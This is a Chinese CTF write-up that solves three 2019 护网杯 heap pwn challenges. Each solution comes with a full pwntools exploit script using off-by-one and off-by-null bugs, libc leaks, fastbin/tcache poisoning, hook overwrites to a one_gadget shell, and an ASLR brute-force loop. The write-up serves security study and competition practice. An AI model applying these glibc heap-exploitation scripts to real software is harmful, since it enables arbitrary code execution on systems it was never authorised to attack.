题目地址：https://github.com/hacker-mao/ctf_repo/tree/master/%E6%8A%A4%E7%BD%91%E6%9D%AF2019/pwn

一共4道题，比赛时间太短，赛后花了一天时间弄出3道，继续

mergeheap

libc2.27，典型的tcache题目，程序的漏洞在于off by one

当分配的堆块占用了下一chunk的pre_size位时，strcpy的时候会将下一chunk的size也复制，再配合strcat会溢出一个字节
首先先填满tcache，为了下一次free时候将会放入unsorted bin中，然后构造4个不和填充tcache的chunk大小一样的chunk，注意chunk1和chunk2的大小要等于chunk0，为了等下构造堆溢出

#填满tcache
for i in range(7):
    add(0x80,str(i))

for i in range(7):
    dele(i)


add(0x78,'a') #0
add(0x38,'b'*0x38) #1
add(0x40,'d'*0x3f+'\x91') #2
add(0x60,'c') #3

接着释放chunk0，合并chunk1和chunk2到chunk0的位置，并且会触发off by one修改chunk1的size为0x91

dele(0)
merge(1,2) #0

然后把chunk1 free掉会得到一块0x90的bins，但由于0x90的tcache事先被填充满了，所以会放入unsorted bin中，然后我们再分配一块0x30大小的chunk，libc会从刚刚的unsorted bin中切割一部分，这时候剩下的unsorted bin刚好落入chunk2上，打印chunk2就可以泄漏libc，进而得到free_hook地址和one_gadget地址

dele(1)
add(0x30,'d') #1
show(2)
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak_libc : 0x%x',leak_libc)
libc_base = leak_libc - 96 - 0x3ebc40
info('libc_base : 0x%x',libc_base)
free_hook = libc_base + 0x3ed8e8 
one_gadget = libc_base + 0x4f322

紧接着重复类似上面的操作

#清空unsorted bin
add(0x40,'1')

add(0x68,'aa')  #5
add(0x28,'b'*0x38)  #6
add(0x40,'d'*0x3f+'\x81')  #7
add(0x60,'c') #8

依然利用off by one修改chunk_size

dele(5)
merge(6,7) #5

free 掉chunk6，再free掉chunk7，再malloc一个0x70的chunk就会分配到chunk6的位置，这时候就可以对chunk7进行uaf利用，修改fd指针指向free_hook，然后改为one_gadget

#hijack free_hook -> one_gadget
dele(6)
dele(7)

add(0x70,'a'*0x20+p64(0)+p64(0x51)+p64(free_hook))
add(0x40,'b')
add(0x40,p64(one_gadget))
dele(0)

完整exp:

#coding:utf-8
from pwn import *
context.log_level = 'debug'

p = process('./mergeheap')
#p = remote('49.232.101.96',51582)

def sl(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def se(x):
    p.send(x)

def add(size,content):
    ru('>>')
    sl('1')
    ru('len:')
    sl(str(size))
    ru('content:')
    sl(content)

def show(idx):
    ru('>>')
    sl('2')
    ru('idx:')
    sl(str(idx))

def dele(idx):
    ru('>>')
    sl('3')
    ru('idx:')
    sl(str(idx))


def merge(idx_1,idx_2):
    ru('>>')
    sl('4')
    ru('idx1:')
    sl(str(idx_1))
    ru('idx2:')
    sl(str(idx_2))

#填满tcache
for i in range(7):
    add(0x80,str(i))

for i in range(7):
    dele(i)


add(0x78,'a') #0
add(0x38,'b'*0x38) #1
add(0x40,'d'*0x3f+'\x91') #2
add(0x60,'c') #3

#----------------------------------

dele(0)
merge(1,2) #0

#----------------------------------

dele(1)
add(0x30,'d') #1
show(2)
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak_libc : 0x%x',leak_libc)
libc_base = leak_libc - 96 - 0x3ebc40
info('libc_base : 0x%x',libc_base)
free_hook = libc_base + 0x3ed8e8 
one_gadget = libc_base + 0x4f322

#----------------------------------

#清空unsorted bin
add(0x40,'1')

add(0x68,'aa')  #5
add(0x28,'b'*0x38)  #6
add(0x40,'d'*0x3f+'\x81')  #7
add(0x60,'c') #8

#----------------------------------

dele(5)
merge(6,7) #5

#----------------------------------
#hijack free_hook -> one_gadget
dele(6)
dele(7)

add(0x70,'a'*0x20+p64(0)+p64(0x51)+p64(free_hook))
add(0x40,'b')
add(0x40,p64(one_gadget))
#trigger one_gadget
dele(0)

#----------------------------------
#gdb.attach(p)


p.interactive()

silentheap

这题主要考验细心程度吧，漏洞点在dele里。第二次循环没有到9，因此假如输入idx为9，就会直接把ptr[9] free掉，然后把flag[9]置0

如果我们将ptr[9]分配一个0x360的堆块，原先的flag值是2，经过dele(9)后，它的值会变成0，这时候执行case3的函数时，将会调用(ptr[index]+0x554)这个地址的函数，而我们可以通过修改aThouWhoArtDark来构造一个地址，相当于任意地址执行，但我们不知道one_gadget地址，由于题目是32位的，发现one_gadget地址每次只会变动2个字节，于是可以爆破2字节去执行one_gadget地址，概率是1/256，试了下还挺快的

#开了alsr运行了几次的one_gadget地址
0xf75a6c69
0xf754dc69
0xf7570c69
0xf7583c69

exp:

#coding:utf-8
from pwn import *
context.log_level = 'debug'




def sl(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def se(x):
    p.send(x)


def new():
    sl('1')

def new_1():
    sl('2')

def zhixinghanshu(index,cont1,cont2):
    sl('3')
    sl(str(index))
    sl(cont1)
    sl(cont2)

def dele(index):
    sl('4')
    sl(str(index))

def edit(choice,cont):
    sl('5')
    sl(str(choice))
    sl(cont)


def pwn_it():

    for i in range(9):
        new()

    one_gadget = 0xf75a9c5c
    #one_gadget = 0xf7e3fc5c
    #fake chunk -> *(ptr[index]+0x55*4)
    pay = 'a'*(0x54*4) + p32(one_gadget)
    edit(2,pay)
    new_1()
    dele(9)

    #gdb.attach(p)
    zhixinghanshu(9,'1','2')
    #0xf75a6c69
    #0xf754dc69
    #0xf7570c69
    #0xf7583c69
    
    p.sendline('ls')
    p.sendline('ls')
    data = p.recv()
    if (data):
        p.interactive()


if __name__ == '__main__':
    
    while True:
        try:
            p = process('./silentheap')
            pwn_it()
        except Exception as e:
            p.close()
        finally:
            p.close()

pwn2

这题与hctf2018的heapstorm zero十分像，所以参考了它的wp之后做出来了
这题漏洞点在于off by null，而且题目限制了chunk只能0x58大小，如果只是 fastbin 的话 off by null 是没法利用的，但是这里有个小tips，使用 scanf 获取内容时，如果输入字符串比较长会调用 malloc 来分配内存。
在 malloc 分配内存时，首先会一次扫描一遍 fastbin , smallbin ， unsorted bin ，largebin, 如果都找不到可以分配的 chunk 分配给用户，会进入 top_chunk 分配的流程，如果此时还有fastbin ，就会触发堆合并机制，把 fastbin 合并之后放入 smallbin，再看能否分配，不能的话会使用 top_chunk 进行分配。
于是利用 scanf 能分配大内存的特性，我们可以触发堆合并，然后让 fastbin 合并成一个smallbin , 然后在触发 off-by-null , 就是常规的利用思路了。

先构造好堆的分布，以便后续利用，其中chunk1，chunk2，chunk3，chunk4的size之和要为0x110为了后续的off by null操作

add_flo(0x58,0,'a')
add_flo(0x30,1,'b')
add_flo(0x30,2,'c')
add_flo(0x40,3,'d')
add_flo(0x30,4,p64(8)*4+p64(0x100)+p64(0x10))
add_flo(0x30,5,'e')
remove_flo(5)
add_flo(0x10,5,'e') #保留块， 防止和 top chunk 合并
add_flo(0x30,5,'e')

然后释放chunk1-5，再利用scanf触发fastbin合并为small bin，所以现在得到了一块大小为0x110的small bin

for i in range(1,5):
    remove_flo(i)

triger_consolidate()

释放chunk0，再分配chunk0，利用off by null修改chunk1的size为0x100

remove_flo(0)
add_flo(0x58,0,'a'*0x58)

通过对small bin的4次切割，再次分配4个chunk

add_flo(0x10,1,'a')
add_flo(0x30,2,'b')
add_flo(0x30,3,'\x78')
add_flo(0x50,4,'d')

然后我们释放chunk1,chunk2，并通过scanf让他们合并为small bin，再通过释放chunk5与scanf来触发unlink机制，通过 extend 前向 overlapping，得到一个包含chunk3和chunk4的大small bin，具体原理可以看http://blog.eonew.cn/archives/546#_free_smallbin_extend

remove_flo(1)
remove_flo(2)
triger_consolidate()
remove_flo(5)
triger_consolidate()

由于chunk3之前保留了small bin分配下来的指针，所以通过chunk3泄漏libc，从而得到其他地址

#leak libc
show_flo(3)
ru('flowers : ')
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak libc : 0x%x'%leak_libc)
libc_base = leak_libc - 88 - 0x3c4b20
info('libc base  : 0x%x'%libc_base)
realloc_hook = libc_base + 0x3c4b10 - 0x28
main_arena = libc_base + 0x3c4b38 - 0x8
one_gadget = libc_base + 0xf02a4
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
realloc = libc_base + libc.symbols['__libc_realloc']

将chunk3，chunk4也释放，得到两个fastbin ，通过切割大small bin，使得到的堆块能够修改fastbin的fd指针

remove_flo(3)
remove_flo(4)

for i in range(2):
    add_flo(0x10,1,'1111')

pay = p64(0)*3 + p64(0x41) + p64(0x61)
add_flo(0x40,2,pay)

pay = p64(0) + p64(0x61) + p64(main_arena)
add_flo(0x20,3,pay)

malloc一个0x30的堆块会从fastbin中取出，此时fastbin只剩下0x61

add_flo(0x30,2,'2') #消除0x40 fastbin

于是我们可以分配堆块到main_arena中，然后去修改top_chunk到realloc_hook前面

add_flo(0x58,3,'3')
add_flo(0x58,3,p64(0)*7+p64(realloc_hook))

接着先分配堆块清除unsorted bin，然后分配堆块到realloc_hook，修改realloc_hook 为 one_gadget，malloc_hook为realloc函数+0x14地址处，通过malloc函数来触发one_gadget

for i in range(3):
    add_flo(0x20,'1','1')
pay = p64(0)*2 + p64(one_gadget) + p64(realloc+0x14)
add_flo(0x40,3,pay)

ru('choice >> \n')
sl('1')
ru('of Size : ')
sl('10')    
ru('index: ')
sl('0')

这里是因为直接改malloc_hook为one_gadget不满足条件，所以无法getshell，才通过malloc_hook调用realloc_hook的方法，通过通过改realloc函数偏移的方法微调来满足one_gadget的条件

完整exp

#coding:utf-8
from pwn import *
context.log_level = 'debug'


p = process('./pwn 2')

def sl(x):
    p.sendline(x)

def ru(x):
    p.recvuntil(x)

def se(x):
    p.send(x)


def add_flo(size,index,name):
    ru('choice >> \n')
    sl('1')
    ru('of Size : ')
    sl(str(size))
    ru('index: ')
    sl(str(index))
    ru(' name:')
    se(name)

def remove_flo(index):
    ru('choice >> \n')
    sl('2')
    ru('input idx :')
    sl(str(index))

def show_flo(index):
    ru('choice >> \n')
    sl('3')
    ru('Input idx : \n')
    sl(str(index))

def triger_consolidate():
    ru('choice >> \n')
    sl('1'*0x400)


add_flo(0x58,0,'a')
add_flo(0x30,1,'b')
add_flo(0x30,2,'c')
add_flo(0x40,3,'d')
add_flo(0x30,4,p64(0)*4+p64(0x100)+p64(0x10))
add_flo(0x30,5,'e')
remove_flo(5)
add_flo(0x10,5,'e') #保留块， 防止和 top chunk 合并
add_flo(0x30,5,'e') 

#----------------------------

for i in range(1,5):
    remove_flo(i)

triger_consolidate()

#----------------------------

remove_flo(0)
add_flo(0x58,0,'a'*0x58)

#----------------------------

add_flo(0x10,1,'a')
add_flo(0x30,2,'b')
add_flo(0x30,3,'\x78')
add_flo(0x50,4,'d')

#----------------------------

remove_flo(1)
remove_flo(2)
triger_consolidate()
remove_flo(5)
triger_consolidate()

#----------------------------

#leak libc
show_flo(3)
ru('flowers : ')
leak_libc = u64(p.recv(6).ljust(8,'\x00'))
info('leak libc : 0x%x'%leak_libc)
libc_base = leak_libc - 88 - 0x3c4b20
info('libc base  : 0x%x'%libc_base)
realloc_hook = libc_base + 0x3c4b10 - 0x28
main_arena = libc_base + 0x3c4b38 - 0x8
one_gadget = libc_base + 0xf02a4
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
realloc = libc_base + libc.symbols['__libc_realloc']

#----------------------------

remove_flo(3)
remove_flo(4)

for i in range(2):
    add_flo(0x10,1,'1111')

pay = p64(0)*3 + p64(0x41) + p64(0x61)
add_flo(0x40,2,pay)

pay = p64(0) + p64(0x61) + p64(main_arena)
add_flo(0x20,3,pay)

#----------------------------

add_flo(0x30,2,'2') #消除0x40 fastbin
add_flo(0x58,3,'3')
add_flo(0x58,3,p64(0)*7+p64(realloc_hook))

#----------------------------

for i in range(3):
    add_flo(0x20,'1','1')
pay = p64(0)*2 + p64(one_gadget) + p64(realloc+0x14)
add_flo(0x40,3,pay)


#----------------------------

#gdb.attach(p)
#trigger one_gadget
ru('choice >> \n')
sl('1')
ru('of Size : ')
sl('10')    
ru('index: ')
sl('0')



p.interactive()

2019护网杯_pwn

2019护网杯_pwn

mergeheap

silentheap

pwn2

推荐阅读更多精彩内容